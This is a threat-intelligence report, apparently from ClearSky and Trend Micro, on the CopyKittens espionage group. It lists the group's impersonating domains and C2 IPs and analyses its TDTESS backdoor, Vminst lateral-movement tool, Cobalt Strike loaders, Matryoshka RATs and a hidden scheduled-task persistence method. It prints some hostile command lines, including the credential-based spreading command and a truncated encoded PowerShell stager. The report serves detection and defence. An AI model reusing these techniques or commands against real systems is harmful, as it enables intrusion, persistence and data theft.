Website of Iranian web development company NovinWebGostar 28 https://www.facebook.com/emetpress https://www.facebook.com/emetpress/ https://www.facebook.com/emetpress/ Page 19 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Web Hacking Based on logs from internet-facing web servers in target organizations, we have detected that CopyKittens use the following tools for web vulnerability scanning and SQL Injection exploitation.
Havij: An automatic SQL Injection tool, [which is] distributed by ITSecTeam, an Iranian security company.29 Havij is freely distributed and has a graphical user interface.
It is commonly used for automated SQL Injection and vulnerability assessments.
sqlmap: An automatic SQL Injection and database takeover tool.30 sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL Injection flaws and taking over database servers.
It is capable of database fingerprinting, data fetching from the database, and accessing the underlying file system and executing commands on the operating system via out-of-band connections.
Acunetix: A commercial vulnerability scanner.
Acunetix tests for SQL Injection, XSS, XXE, SSRF, Host Header Injection and over 3000 other web vulnerabilities.31 29 http://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/ 30 http://sqlmap.org 31 https://www.acunetix.com http://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/ http://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/ http://sqlmap.org/ http://sqlmap.org/ https://www.acunetix.com/ https://www.acunetix.com/ Page 20 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Infrastructure Analysis Domains Below is a list of domains that have been used for malware delivery, command and control, and hosting malicious websites since the beginning of the groups activity.32 Domain Use registration date Impersonated company/product israelnewsagency[.
]link NA 26/06/2015 Israeli News Agancy ynet[.
]link NA  Ynet Israeli news outlet fbstatic-akamaihd[.
]com Cobalt Strike DNS 04/09/2015 Akamai wheatherserviceapi[.
]info Cobalt Strike DNS  Generic windowkernel[.
]com Cobalt Strike DNS  Microsoft Windows fbstatic-a[.
]space NA  Facebook gmailtagmanager[.
]com NA  Gmail mswordupdate17[.
]com NA 03/10/2015 Microsoft Windows cachevideo[.
]com Cobalt Strike DNS 13/12/2015 Generic cachevideo[.
]online Cobalt Strike DNS  Generic cloudflare-statics[.
]com Cobalt Strike DNS  Cloudflare digicert[.
]online Cobalt Strike DNS  DigiCert certificate authority fb-statics[.
]com Cobalt Strike DNS  Facebook cloudflare-analyse[.
]com Matreyoshka  Cloudflare twiter-statics[.
]info NA  Twitter winupdate64[.
]com NA  Microsoft Windows 1m100[.
]tech NA 10/04/2016 Google cloudmicrosoft[.
]net NA 19/04/2016 Microsoft windowslayer[.
]in Matreyoshka 06/06/2016 Microsoft Windows mywindows24[.
]in NA  Microsoft Windows wethearservice[.
]com Matreyoshka 11/07/2016 Generic akamaitechnology[.
]com Cobalt Strike SSL / TDTESS 02/08/2016 Akamai ads-youtube[.
]online Cobalt Strike SSL  Youtube akamaitechnology[.
]tech Cobalt Strike SSL  Akamai alkamaihd[.
]com Cobalt Strike SSL  Akamai alkamaihd[.
]net Cobalt Strike SSL  Akamai qoldenlines[.
]net Cobalt Strike SSL  Golden Lines (Israeli ISP) 1e100[.
]tech NA  Google ads-youtube[.
]net NA  Youtube azurewebsites[.
]tech NA  Microsoft Azure chromeupdates[.
]online NA  Google Chrome elasticbeanstalk[.
]tech NA  Amazon AWS Elastic Beanstalk microsoft-ds[.
]com NA  Microsoft trendmicro[.
]tech NA  Trend Micro fdgdsg[.
]xyz NA 03/08/2016 Generic microsoft-security[.
]host Cobalt Strike SSL 09/08/2016 Microsoft 32  Some have been reported in our previous public reports Page 21 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Domain Use registration date Impersonated company/product cissco[.
]net Cobalt Strike DNS 29/08/2016 Cissco cloud-analyzer[.
]com Cobalt Strike DNS  Cellebrite (?)
f-tqn[.
]com Cobalt Strike DNS  Generic mcafee-analyzer[.
]com Cobalt Strike DNS  Mcafee microsoft-tool[.
]com Cobalt Strike DNS  Microsoft mpmicrosoft[.
]com Cobalt Strike DNS  Microsoft officeapps-live[.
]com Cobalt Strike DNS  Microsoft officeapps-live[.
]net Cobalt Strike DNS  Microsoft officeapps-live[.
]org Cobalt Strike DNS  Microsoft primeminister-goverment-techcenter[.
]tech NA 05/09/2016 Israeli Prime Minister Office sdlc-esd-oracle[.
]online NA 09/10/2016 Oracle jguery[.
]online BEEF 13/10/2016 Jquery javaupdate[.
]co NA 16/10/2016 Oracle jguery[.
]net BEEF 19/10/2016 Jquery terendmicro[.
]com Cobalt Strike DNS 12/12/2016 Trend Micro windowskernel14[.
]com NA 20/12/2016 Microsoft Windows gstatic[.
]online NA 28/12/2016 Google ssl-gstatic[.
]online NA  Google broadcast-microsoft[.
]tech Cobalt Strike DNS 18/01/2017 Microsoft newsfeeds-microsoft[.
]press Cobalt Strike DNS  Microsoft sharepoint-microsoft[.
]co Cobalt Strike DNS  Microsoft dnsserv[.
]host NA  Generic nameserver[.
]win NA  Generic nsserver[.
]host NA  Generic owa-microsoft[.
]online NA  Microsoft Outlook owa-microsoft[.
]online Cobalt Strike DNS  Microsoft Outlook gsvr-static[.
]co NA 13/02/2017 Generic winfeedback[.
]net Cobalt Strike DNS 28/02/2017 Microsoft Windows win-update[.
]com Cobalt Strike DNS  Microsoft Windows intelchip[.
]org Cobalt Strike DNS 01/03/2017 Intel ipresolver[.
]org Cobalt Strike DNS  Generic javaupdator[.
]com Cobalt Strike DNS  Generic labs-cloudfront[.
]com Cobalt Strike DNS  Amazon CloudFront outlook360[.
]net Cobalt Strike DNS  Microsoft Outlook updatedrivers[.
]org Cobalt Strike DNS  Generic outlook360[.
]org Cobalt Strike DNS  Microsoft Outlook windefender[.
]org Cobalt Strike DNS  Microsoft microsoft-office[.
]solutions NA 23/04/2017 Microsoft gtld-servers.zone Cobalt Strike SSL 01/07/2017 Root DNS servers gtld-servers.solutions Cobalt Strike SSL Root DNS servers gtld-servers.services Cobalt Strike SSL Root DNS servers akamai-net.network NA Akamai azureedge-net.services NA Microsoft Azure cloudfront.site NA Cloudfront googlusercontent.center NA Google Page 22 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Domain Use registration date Impersonated company/product windows-updates.network NA Microsoft Windows windows-updates.services NA Microsoft Windows akamaized.online NA 01/07/2017 Akamai cdninstagram.center NA Instegram netcdn-cachefly.network NA CacheFly Noteworthy observations about the domains: Domains impersonate one of four categories: Major internet and software companies and services  Microsoft, Google, Akamai, Cloudflare, Amazon, Oracle, Facebook, Cisco, Twitter, Intel Security companies and products  Trend Micro, McAfee, Microsoft Defender, and potentially Cellebrite Israeli organizations of interest to the victim  News originations, Israeli Prime Minister Office, an Israeli ISP Other organizations or generic web services The attackers always use Whoisguard for Whois details protection.33 Domains are usually registered in bulk every few months.
Long subdomains are created like those used by Content Delivery Networks.
For example: wk-in-f104.1e100.n.microsoft-security[.
]host ns1.static.dyn-usr.gsrv01.ssl-gstatic[.
]online c20.jdk.cdn-external-ie.1e100.alkamaihd[.
]net msnbot-sd7-46-194.microsoft-security[.
]host ns2.static.dyn-usr.gsrv02.ssl-gstatic.online static.dyn-usr.g-blcse.d45.a63.alkamaihd[.
]net ea-in-f155.1e100.microsoft-security[.
]host is-cdn.edge.g18.dyn.usr-e12-as.akamaitechnology[.
]com static.dyn-usr.f-login-me.c19.a23.akamaitechnology[.
]com pht.is.nlb-deploy.edge-dyn.e11.f20.ads-youtube[.
]online ae13-0-hk2-96cbe-1a-ntwk-msn.alkamaihd[.
]com be-5-0-ibr01-lts-ntwk-msn.alkamaihd[.
]com a17-h16.g11.iad17.as.pht-external.c15.qoldenlines[.
]net Some of the domains have been in use for more than two years.
33 http://www.whoisguard.com/ http://www.whoisguard.com/ http://www.whoisguard.com/ Page 23 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Often the attackers would point malicious domains to IPs not in their control.
For example, as can be seen in the screenshot below from PassiveTotal, multiple domains and hosts (marked red) were pointed to a non- malicious IP owned by Google.3435 Multiple domains and hosts pointing to a non-malicious IP owned by Google This pattern was instrumental for us in pivoting and detecting further malicious domains.
Multiple domains and hosts pointing to a non-malicious IP owned by Google 34 https://passivetotal.org/search/172.217.20.78 35 https://passivetotal.org/search/172.217.0.227 https://passivetotal.org/search/172.217.20.78 https://passivetotal.org/search/172.217.20.78 https://passivetotal.org/search/172.217.0.227 https://passivetotal.org/search/172.217.0.227 Page 24 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 IPs The table below lists IPs used by the attackers, how they were used, and their autonomous system name and number.36 Notably, most are hosted in the Russian Federation, United States, and Netherlands.
IP Use Country AS name ASN 206.221.181.253 Cobalt Strike United States Choopa  LLC AS20473 66.55.152.164 Cobalt Strike United States Choopa  LLC AS20473 68.232.180.122 Cobalt Strike United States Choopa  LLC AS20473 173.244.173.11 Metasploit and web hacking United States eNET Inc. AS10297 173.244.173.12 Metasploit and web hacking United States eNET Inc. AS10297 173.244.173.13 Metasploit and web hacking United States eNET Inc. AS10297 209.190.20.149 NA United States eNET Inc. AS10297 209.190.20.59 NA United States eNET Inc. AS10297 209.190.20.62 NA United States eNET Inc. AS10297 209.51.199.116 Metasploit and web hacking United States eNET Inc. AS10297 38.130.75.20 NA United States Foxcloud Llp AS200904 185.92.73.194 NA United States Foxcloud Llp AS200904 146.0.73.109 Cobalt Strike Netherlands Hostkey B.v.
AS57043 146.0.73.110 NA Netherlands Hostkey B.v.
AS57043 146.0.73.111 Metasploit and web hacking Netherlands Hostkey B.v.
AS57043 146.0.73.112 Cobalt Strike Netherlands Hostkey B.v.
AS57043 146.0.73.114 Cobalt Strike Netherlands Hostkey B.v.
AS57043 144.168.45.126 BEEF SSL Server United States Incero LLC AS54540 217.12.201.240 Cobalt Strike Netherlands ITL Company AS21100 217.12.218.242 Cobalt Strike Netherlands ITL Company AS21100 5.34.180.252 Cobalt Strike Netherlands ITL Company AS21100 5.34.181.13 Cobalt Strike Netherlands ITL Company AS21100 188.120.224.198 Cobalt Strike Russian Federation JSC ISPsystem AS29182 188.120.228.172 NA Russian Federation JSC ISPsystem AS29182 188.120.242.93 Cobalt Strike Russian Federation JSC ISPsystem AS29182 188.120.243.11 NA Russian Federation JSC ISPsystem AS29182 188.120.247.151 TDTESS Russian Federation JSC ISPsystem AS29182 62.109.2.52 Cobalt Strike Russian Federation JSC ISPsystem AS29182 188.120.232.157 Cobalt Strike Russian Federation JSC ISPsystem AS29182 185.118.65.230 NA Russian Federation LLC CloudSol AS59504 185.118.66.114 NA Russian Federation LLC CloudSol AS59504 141.105.67.58 Metasploit and web hacking Russian Federation Mir Telematiki Ltd AS49335 141.105.68.25 Cobalt Strike Russian Federation Mir Telematiki Ltd AS49335 141.105.68.26 Metasploit and web hacking Russian Federation Mir Telematiki Ltd AS49335 141.105.68.29 Metasploit and web hacking Russian Federation Mir Telematiki Ltd AS49335 141.105.69.69 Cobalt Strike Russian Federation Mir Telematiki Ltd AS49335 141.105.69.70 matreyoshka Russian Federation Mir Telematiki Ltd AS49335 141.105.69.77 Metasploit and web hacking Russian Federation Mir Telematiki Ltd AS49335 36 Some have been reported in our previous public reports Page 25 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 IP Use Country AS name ASN 31.192.105.16 Cobalt Strike Russian Federation Mir Telematiki Ltd AS49335 31.192.105.17 Metasploit and web hacking Russian Federation Mir Telematiki Ltd AS49335 31.192.105.28 Cobalt Strike Russian Federation Mir Telematiki Ltd AS49335 158.69.150.163 Cobalt Strike Canada OVH SAS AS16276 176.31.18.29 Cobalt Strike France OVH SAS AS16276 188.165.69.39 Cobalt Strike France OVH SAS AS16276 192.99.242.212 Cobalt Strike Canada OVH SAS AS16276 198.50.214.62 Cobalt Strike Canada OVH SAS AS16276 51.254.76.54 Cobalt Strike France OVH SAS AS16276 198.55.107.164 NA United States QuadraNet  Inc AS8100 104.200.128.126 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 104.200.128.161 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 104.200.128.173 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 104.200.128.183 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 104.200.128.184 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 104.200.128.185 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 104.200.128.187 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 104.200.128.195 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 104.200.128.196 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 104.200.128.198 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 104.200.128.205 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 104.200.128.206 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 104.200.128.208 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 104.200.128.209 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 104.200.128.48 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 104.200.128.58 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 104.200.128.64 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 104.200.128.71 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 107.181.160.138 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 107.181.160.178 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 107.181.160.194 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 107.181.160.195 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 107.181.161.141 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 107.181.174.21 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 107.181.174.228 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 107.181.174.232 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 107.181.174.241 Cobalt Strike United States Total Server Solutions L.L.C.
AS46562 86.105.18.5 Cobalt Strike Netherlands WorldStream B.V. AS49981 93.190.138.137 NA Netherlands WorldStream B.V. AS49981 212.199.61.51 Cobalt Strike Israel 012 Smile Communications LTD.
AS9116 80.179.42.37 NA Israel 012 Smile Communications LTD.
AS9116 80.179.42.44 NA Israel 012 Smile Communications LTD.
AS9116 Page 26 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Recently the attackers implemented self-signed certificates in some of the severs they manage, impersonating Microsoft and Google.37 Self-signed digital certificate impersonating Microsoft as captured by censys.io 37 https://censys.io/certificates/f4aaac7d6aafc426d1adbe3b845a26c4110f7c9e54145444a8668718b84cbdb0 https://censys.io/certificates/f4aaac7d6aafc426d1adbe3b845a26c4110f7c9e54145444a8668718b84cbdb0 Page 27 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Malware In this chapter we analyze and review malware used by CopyKittens.
TDTESS Backdoor TDTESS (22fd59c534b9b8f5cd69e967cc51de098627b582) is 64-bit .NET binary backdoor that provides a reverse shell with an option to download and execute files.
It routinely calls in to the command and control server for new instructions using basic authentication.
Commands are sent via a web page.
The malware creates a stealth service, which will not show on the service manager or other tools that enumerate services from WINAPI or Windows Management Instrumentation.
Installation and removal TDTESS can run as either an interactive or non-interactive (service) program.
When called interactively, it receives one of the two arguments: installtheservice to install itself or uninstalltheservice to remove itself.
The arguments are described below: installtheservice If running with administrator privileges, it will install a service with the following characteristics: Key name: bmwappushservice Display name: bmwappushsvc Description: WAP Push Message Routing Service Type: own (runs in its own process) Start type: auto (starts each time the computer is restarted and runs even if no one logs on to the computer) Path: main executable path (In our analysis: c:\Users\PC008\Desktop\t.exe) Security descriptor: D:(DDCLCWPDTSDIU)(DDCLCWPDTSDSU)(DDCLCWPDTSDBA)(ACCLCSWLOCRRCIU)(ACCLC SWLOCRRCSU)(ACCLCSWRPWPDTLOCRRCSY)(ACCDCLCSWRPWPDTLOCRSDRCWDWOBA)S:(AUF ACCDCLCSWRPWPDTLOCRSDRCWDWOWD) Service information from command-line using sc tool The hardcoded security descriptor used to create the service is a persistence technique.
Interactive users, even if they are administrators, cannot stop or even see the service in services.msc snap-in.
Page 28 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Following is a list of denied commands: service_change_config service_query_status service_stop service_pause_continue delete Service information in Registry Two log files are created during the service installation, but deleted by the program.
Following is their recovered content: InstallUtil.
InstallLog filename.t.
InstallLog After creating the service, it will update the file creation time to that of the following file: windir\system32\svchost.exe Page 29 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 uninstalltheservice If running with administrator privileges, it will uninstall the said service, create log files and then deletes them.
InstallUtil.
InstallLog filename.t.
InstallLog Because the service installing mechanism appears to be default for .NET programs, the creator of the tool deletes the log files right after they are created.
If no argument is given when called interactively, the program terminates itself.
Functionality The service is started immediately after installation.
After five minutes, it verifies internet connectivity by making a HTTP HEAD request to microsoft.com.
Then it tries to access the CC servers looking for commands.
Hardcoded HTTP parameters and URL Page 30 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 As a reply, TDTESS expects one of the following Bas64 encoded commands: getnrun - download and execute a file.
Parameters are drop, drop_path and t. runnreport - send information about the computer.
Parameters are cmd and boss.
wait - time to next interval to get data.
Getnrun command and parameters Indicators of Compromise File name: tdtess.exe md5: 113ca319e85778b62145019359380a08 Services: bmwappushservice Registry Keys: HKLM\System\CurrentControlSet\Services\bmwappushservice URLs: http://is-cdn.edge.g18.dyn.usr-e12-as.akamaitechnology[.
]com/deploy/assets/css/main/style.min.css http://a17-h16.g11.iad17.as.pht-external.c15.qoldenlines[.
]net/deploy/assets/css/main/style.min.css HTTP artifacts: User-Agent : XXXXXXXXXXXXXXXXX/5.0 (Windows NT 6.1 WOW64 Trident/7.0 AS rv:11.0) like Gecko Proxy-Authorization : Basic [Data]  [Data] Will contain the TDTESS encrypted data to send Page 31 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Vminst for Lateral Movement Vminst (a60a32f21ac1a2ec33135a650aa8dc71) is a lateral movement tool used to infect hosts in the network using previously stolen credentials.
It Injects Cobalt Strike into memory of infected hosts.
The binary implements ServiceMain and is intended to be installed as a service named sdrsrv.
When it functions as a service, it injects Cobalt Strike beacon into its own process (which is 32-bit svchost) or creates a new 32-bit rundll32 process and injects the beacon into the new process.
The injection method depends on the parameter received when the service was created.
It is configured to open a new rundll32 process in suspend-mode and create a remote thread which executes a Cobalt Strike beacon or shellcode.
The binary has the option to run and load itself in memory.
It also has the option to be executed through its exported function v, which gets a base64 string parameter built as follows: Base-64-Encode(/mv /OptionalCommand) OptionalCommand can be one of the following: help - prints usage instructions: [] /help V160\n Get : Create Service and run beacon over self thread\n [] /get ip (use current token)\n [] /get ip domain user pass\n [] /get ip user pass\n New : Create Service and run beacon over new rundll32.exe thread\n [] /new ip (use current token)\n [] /new ip domain user pass\n [] /new ip user pass\n [] /new ip user pass\n Del : Delete service and related dlls from remote host [] /del ip domain user pass\n [] /del ip user pass\n [] /del ip\n Run : Run a new beacon \n [] /run [no arguments] del - stops and deletes the service sdrsrv, and deletes the following files: \\ [IP or computer name (Can be Localhost)]\C\Users\public\vminst.tmp \\ [IP or computer name (Can be Localhost)]\C\Windows\Temp\vminst.tmp \\ [IP or computer name (Can be Localhost)]\C\Windows\vminst.tmp scan - sends [ok] to the parent of its parent process.
info - sends [ok] to the parent of its parent process.
run - injects a beacon into a new rundll32 process.
get - gets an IP address, installs and starts the sdrsrv service in the remote hosts.
new - gets IP address, deletes the old vminst from install path, and installs the sdrsrv service in the remote hosts.
Then, starts the service with parameter NEW_THREAD that runs the service.
This command is likely used for updating the implant.
The attacker uses vminst.tmp to spread across the organization.
Using the command rundll32 vminst.tmp,v /mv /get ip-segment credentials it enumerates the segments and tries to connect to the hosts through SMB (GetFileAttributes to network path), installing the sdrsrv service in each host it can access.
Page 32 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Indicators of Compromise File name: vminst.tmp md5: A60A32F21AC1A2EC33135A650AA8DC71 Services: sdrsrv Registry Keys: HKLM\System\CurrentControlSet\Services\sdrsrv Path: \\ [IP or computer name (Can be Localhost)]\C\Users\public\[File] \\ [IP or computer name (Can be Localhost)]\C\Windows\Temp\[File] \\ [IP or computer name (Can be Localhost)]\C\Windows\[File] File, one of: vminst.tmp - The malware l.tmp - Log file from last V command NetSrv  Cobalt Strike Loader NetSrv (efca6664ad6d29d2df5aaecf99024892) loads Cobalt Strike beacons and shellcodes in infected computers.
The binary implements ServiceMain, intended to be installed as a service named netsrv.
When it functions as a service, it is configured to open a new rundll32 process in suspend-mode and create a remote thread that executes a Cobalt Strike beacon or shellcode.
The binary also has the option to be executed with parameters that determine what it will inject into the rundll32 process.
The command-line is as follows: netsrv.exe /managed /ModuleToInject The ModuleToInject can be one of these options: sbdns slbdnsk1 slbdnsn1 slbsbmn1 slbsmbk1 Each of these options injects a Cobalt Strike beacon or shellcode into the rundll32 process.
Indicators of Compromise File names: netsrv.exe netsrva.exe netsrvd.exe netsrvs.exe Services: netsrv netsrvs netsrvd Registry Keys: HKLM\System\CurrentControlSet\Services\netsrv HKLM\System\CurrentControlSet\Services\netsrvs Page 33 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 HKLM\System\CurrentControlSet\Services\netsrvd Matryoshka v1  RAT Matryoshka v1 is a RAT analyzed in the 2015 report by ClearSky and Minerva.38 It uses DNS for command and control communication, and has common RAT capabilities such as stealing Outlook passwords, screen grabbing, keylogging, collecting and uploading files, and giving the attacker Meterpreter shell access.
We have seen this version of Matreyoshka in the wild from July 2016 until January 2017.
The Matryoshka.
Reflective_Loader injects the module Matryoshka.
Rat, which has the same persistence keys and communication method described in the original report.
Indicators of Compromise File name Md5 Command and control Kernel.dll 94ba33696cd6ffd6335948a752ec9c19 cloudflare-statics[.
]com win.dll d9aa197ca2f01a66df248c7a8b582c40 cloudflare-analyse[.
]com update5x.dll 22092014_ver621.dll 506415ef517b4b1f7679b3664ad399e1 1ca03f92f71d5ecb5dbf71b14d48495c mswordupdate17[.
]com Registry Keys: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\0355F5D0-467C-30E9-894C- C2FAEF522A13 HKCU\Software\Microsoft\Windows\CurrentVersion\Run\0355F5D0-467C-30E9-894C-C2FAEF522A13 Scheduled Tasks: \Windows\Microsoft Boost Kernel Optimization Windows Boost Kernel Matreyoshka v2  RAT Matryoshka v2 (bd38cab32b3b8b64e5d5d3df36f7c55a) is mostly like Matreyoshka v1 but has fewer commands and a few other minor changes.
Upon starting it will inject the communication module to all available processes (with the same run architecture and the same or lower level of permission).
The inner name of Svchosts is Injector.dll.
The next stage, in memory, is ReflectiveDLL.dll.
The ReflectiveDLL.dll provides persistence via a schedule task and checks that the stager, Injector.dll, exist on disk.
ReflectiveDLL.dll gets commands via the following DNS resolutions: Functionality Resolved IP Command Send host information 104.40.211.100 Send full info Inject Cobalt Strike beacon 104.40.211.11 Beacon Pop MessageBox with simple note (Only if injected into process with user interface) 104.40.211.12 MessageBox Send UID 104.40.211.13 Get UID Exit the process the thread was injected into 104.40.211.14 Exit keep-alive or end chain of commands 161.69.29.251 OK_StopParse 38  www.clearskysec.com/report-the-copykittens-are-targeting-israelis/ http://www.clearskysec.com/report-the-copykittens-are-targeting-israelis/ Page 34 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Indicators of Compromise File names: Svchost32.swp Svchost64.swp Md5: bd38cab32b3b8b64e5d5d3df36f7c55a Folder path: [windrive]\Users\public\ [windrive]\Windows\temp\ [windrive]\Windows\tmp\ Files: LogManager.tmp edg1CF5.tmp  (malware backup copy) ntuser.swp   (malware backup copy) svchost64.swp (malware main file) ntuser.dat.swp (log file) 455aa96e-804g-4bcf-bcf8-f400b3a9cfe9.PackageExtraction (folder) _d.klg (keylog file, random integer) _d.sc (screen capture file, random integer) Command and control: winupdate64[.
]com Services: sdrsrv Class from CPP RTTI: PSCL_CLASS_JOB_SAVE_CONFIG PSCL_CLASS_BASE_JOB Page 35 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 ZPP  File Compressor ZPP (bcae706c00e07936fc41ac47d671fc40) is a .NET console program that compresses files with the ZIP algorithm.
It can transfer compressed files to a remote network share.
Command line options are as follows: -I - File extension to compress (i.e.
: .txt) -s - Source directory -d - Destination directory -gt - Greater than creation timestamp -lt - Lower than creation timestamp -mb - Unimplemented -o - Output file name -e - File extension to skip (except) ZPP ZPP will recursively read all files in the source directory to compress them with the maximum compression rate if their names match the extension pattern given (-i).
The compressed ZIP file is written to the output directory (-d).
If no output file name is set, ZPP will use the mask zpprandom_number.out.
file_number.
For example: Filename is zpp5077.out0 The file compilation timestamp is Tue, 05 Jul 2016 17:22:59 UTC.
ad09feb76709b825569d9c263dfdaaac is a previous version (compilation timestamp: Sat, 09 Jan 2016 17:02:38 UTC) and is only different in that it accepts the e switch, which ignored by the program logic.
214be584ff88fb9c44676c1d3afd7c95 is the newest version (compilation timestamp: Mon, 26 Sep 2016 19:49:34 UTC).
It is supposed to implement the s switch but although it is set when the user gives it to the program, the switch is ignored by the code.
ZPP version 2.0 ZPP seems to be under development.
All versions have bugs.
It uses the reduced version of DotNetZip library.
39  Therefore, it requires Ionic.
Zip.Reduced.dll (7c359500407dd393a276010ab778d5af) to be under the same directory or PATH.
Function doCompressInNetWorkDirectory() is intended to exfiltrate date from a target machine to a network share.
39 https://dotnetzip.codeplex.com https://dotnetzip.codeplex.com/ https://dotnetzip.codeplex.com/ Page 36 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 ZPP doCompressInNetWorkDirectory() function Passing it a network location will result in the compressed files being dropped in it: Passing a network location to ZPP Indicators of Compromise File name: zpp.exe md5: bcae706c00e07936fc41ac47d671fc40 ad09feb76709b825569d9c263dfdaaac 214be584ff88fb9c44676c1d3afd7c95 Cobalt Strike Cobalt Strike is a publicly available commercial software for Adversary Simulations and Red Team Operations.40 While not malicious in and of itself, it is often used by cybercrime groups and state-sponsored threat groups, due to its post-exploitation and covert communication capabilities.
41 4243 44 CopyKittens use the free 21-day trial version of Cobalt Strike.
Thus, malicious communication generated by the tool is much easier to detect, because a special header is sent in each HTTP GET transaction.
The special header is X-Malware, i.e.
there is a literal indication that this network communication is malicious.
All that 40  https://www.cobaltstrike.com 41 https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html 42 https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks 43  https://www.cybereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the- oceanlotus-group/ 44  http://www.antiy.net/wp-content/uploads/ANALYSIS-ON-APT-TO-BE-ATTACK-THAT-FOCUSING-ON- CHINAS-GOVERNMENT-AGENCY-.pdf https://www.cobaltstrike.com/ https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks https://www.cybereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the-oceanlotus-group/ https://www.cybereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the-oceanlotus-group/ https://www.cybereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the-oceanlotus-group/ http://www.antiy.net/wp-content/uploads/ANALYSIS-ON-APT-TO-BE-ATTACK-THAT-FOCUSING-ON-CHINAS-GOVERNMENT-AGENCY-.pdf http://www.antiy.net/wp-content/uploads/ANALYSIS-ON-APT-TO-BE-ATTACK-THAT-FOCUSING-ON-CHINAS-GOVERNMENT-AGENCY-.pdf http://www.antiy.net/wp-content/uploads/ANALYSIS-ON-APT-TO-BE-ATTACK-THAT-FOCUSING-ON-CHINAS-GOVERNMENT-AGENCY-.pdf Page 37 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 defender need to do to detect infections is to look for this header in network traffic.
Other tells are implemented in the trail version.45 CopyKittens often use Cobalt Strikes DNS based command and control capability.46 Other capabilities include PowerShell scripts execution, keystrokes logging, taking screenshots, file downloads, spawning other payloads, and peer-to-peer communication over the SMB.
Persistency The attackers used a novel way for persistency of Cobalt Strike samples in certain machine  a scheduled task was written directly to the registry.
The malware creates a PowerShell wrapper, which executes powershell.exe to run scripts.
The wrapper is copied to windir with one of the following names: svchost.exe csrss.exe notpad.exe (note missing e) conhost.exe The scheduled tasks are saved in the following registry path: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks With the following attributes: Path\\Microsoft\\Windows\\Media Center\\ConfigureLocalTimeService DescriptionMedia Center Time Update From Computer Local Time.
Actionshex:01,00,66,66,00,00,00,00,2c,00,00,00,43,00,3a,00,5c,00,57,00,69,\ 00,6e,00,64,00,6f,00,77,00,73,00,5c,00,73,00,76,00,63,00,68,00,6f,00,73,00,\ 74,00,2e,00,65,00,78,00,65,00,7e,31,00,00,2d,00,6e,00,6f,00,70,00,20,00,2d,\ 00,77,00,20,00,68,00,69,00,64,00,64,00,65,00,6e,00,20,00,2d,00,65,00,6e,00,\ 63,00,6f,00,64,00,65,00,64,00,63,00,6f,00,6d,00,6d,00,61,00,6e,00,64,00,20,\ 00,4a,00,41,00,42,00,7a,00,41,00,44,00,30,00,41,00,54,00,67,00,42,00,6c,00,\ [] The hex code in the Actions attribute is converted into the following command line action: C:\Windows\svchost.exe -nop -w hidden -encodedcommand JABzAD0ATgBl[] The executed command is a base64 encoded PowerShell cobalt strike stager.
The task does not have a name attribute and it does not appear in windows scheduled task viewers.
The installation methods of this persistency method is unknown to us.
